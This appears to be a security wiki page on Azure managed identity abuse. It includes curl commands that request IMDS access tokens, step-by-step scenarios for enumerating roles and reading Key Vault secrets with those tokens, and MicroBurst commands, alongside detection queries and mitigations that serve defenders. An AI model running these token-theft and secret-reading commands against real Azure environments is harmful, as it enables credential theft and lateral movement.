Managed Identity Abuse
ATT&CK: T1552.005 — Cloud Instance Metadata API
Azure Managed Identities are service principals with no explicit credentials — the Azure platform manages the secret rotation. But when a VM or service with a managed identity is compromised, the attacker can request access tokens from the Instance Metadata Service (IMDS) without any credentials, using them to pivot to Azure resources.
What Managed Identities Are
| Type | Description |
|---|---|
| System-assigned | Identity tied to a specific resource (VM, App Service, Function); deleted when resource is deleted |
| User-assigned | Standalone identity that can be assigned to multiple resources |
The managed identity token is obtained from inside the compute resource — it requires no password because Azure handles the credential issuance.
IMDS Token Endpoint
http://169.254.169.254/metadata/identity/oauth2/token
This address is only accessible from within Azure compute resources — it is a link-local address. From a compromised VM, container, or App Service:
# Request a token for the Azure Resource Manager
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Response:
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6...",
"client_id": "<managed-identity-client-id>",
"expires_in": "3600",
"resource": "https://management.azure.com/",
"token_type": "Bearer"
}
Requesting Tokens for Different Resources
# Microsoft Graph token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://graph.microsoft.com/"
# Azure Key Vault token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net"
# Azure Storage token
curl -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://storage.azure.com/"
Attack Scenarios
Scenario 1: Compromised VM → Lateral Movement to Azure Resources
# Step 1: Code execution on VM (web vuln, SSH bruteforce, etc.)
# Step 2: Query IMDS
TOKEN=$(curl -s -H Metadata:true \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" \
| jq -r .access_token)
# Step 3: Use token with az CLI or REST
az account get-access-token --resource https://management.azure.com/
# Or manually set:
export AZURE_ACCESS_TOKEN=$TOKEN
# Step 4: Enumerate what the managed identity can do
az role assignment list --all --query "[?principalType=='ServicePrincipal']"
# If it has Contributor or Owner:
az vm list # list VMs
az keyvault list # list key vaults
az storage account list # list storage
Scenario 2: Over-Privileged Managed Identity → Secret Exfiltration
# If managed identity has Key Vault Secrets User role:
TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)
# List secrets
curl -H "Authorization: Bearer $TOKEN" \
"https://<vault-name>.vault.azure.net/secrets?api-version=7.3"
# Get secret value
curl -H "Authorization: Bearer $TOKEN" \
"https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.3"
Scenario 3: AKS Pod → Cluster Escape via Azure API
Pods in AKS with managed identity can access IMDS from the pod network namespace. If the pod is compromised:
# AKS metadata endpoint is proxied via a node-level service
# (AKS restricts direct IMDS access from pods but has its own token endpoint)
curl -H "Metadata: true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Privilege Escalation via Managed Identity
Common over-privileged managed identity assignments:
| Assignment | Why Risky |
|---|---|
| Contributor on subscription | Manage all Azure resources in subscription |
| Owner | Grant others access → full privilege escalation |
| Key Vault Secrets User | Read all secrets in vault |
| Storage Blob Data Contributor | Read/write all blobs |
| Virtual Machine Contributor | Run scripts on other VMs via Run Command |
| User Access Administrator | Assign roles → escalate to Owner |
Cloud Tool: MicroBurst, ROADtools
# MicroBurst - enumerate what managed identity can do post-compromise
Import-Module .\MicroBurst.psm1
Get-AzurePasswords # Enumerate accessible credentials
Invoke-EnumerateAzureBlobs
Invoke-EnumerateAzureSubDomains
Detection
Azure Monitor / Defender for Cloud Signals
| Signal | Detection |
|---|---|
| Token request from IMDS | AzureActivity — GetUserAssignedIdentityToken or GetSystemAssignedIdentityToken |
| Unusual resource access post-token-request | Token used from same IP but accessing atypical resources |
| Role assignment reads | Enumerate what the MI can do → MICROSOFT.AUTHORIZATION/ROLEASSIGNMENTS/READ |
| Key Vault secret list/get | AzureDiagnostics with SecretList or SecretGet from managed identity |
// KQL - Managed identity token requests followed by Key Vault access
let mi_tokens = AzureActivity
| where OperationNameValue contains "getToken" or OperationNameValue contains "identity"
| project ResourceId, CallerIpAddress, TimeGenerated;
AzureDiagnostics
| where ResourceType == "VAULTS"
| where OperationName in ("SecretGet", "SecretList")
| join kind=inner mi_tokens on $left.CallerIpAddress == $right.CallerIpAddress
| project TimeGenerated, OperationName, Resource, CallerIpAddress
Mitigation
| Control | Effect |
|---|---|
| Least privilege for managed identities | Assign only required roles, not Contributor/Owner broadly |
| Avoid user-assigned managed identities shared across VMs | Blast radius: one compromised VM gets access everywhere |
| Segment by resource group | Scope managed identity assignments to specific resource groups, not subscriptions |
| Microsoft Defender for Cloud | Alerts on suspicious managed identity token requests |
| Disable IMDS on VMs that don't need it | Not always possible but reduces attack surface |
Cross-Links
| Topic | Link |
|---|---|
| Service Principal Abuse | service-principal-abuse |
| AWS IAM — STS Abuse | aws-sts |
| GCP IAM | gcp-iam |
| Kubernetes Service Accounts | k8s-service-accounts |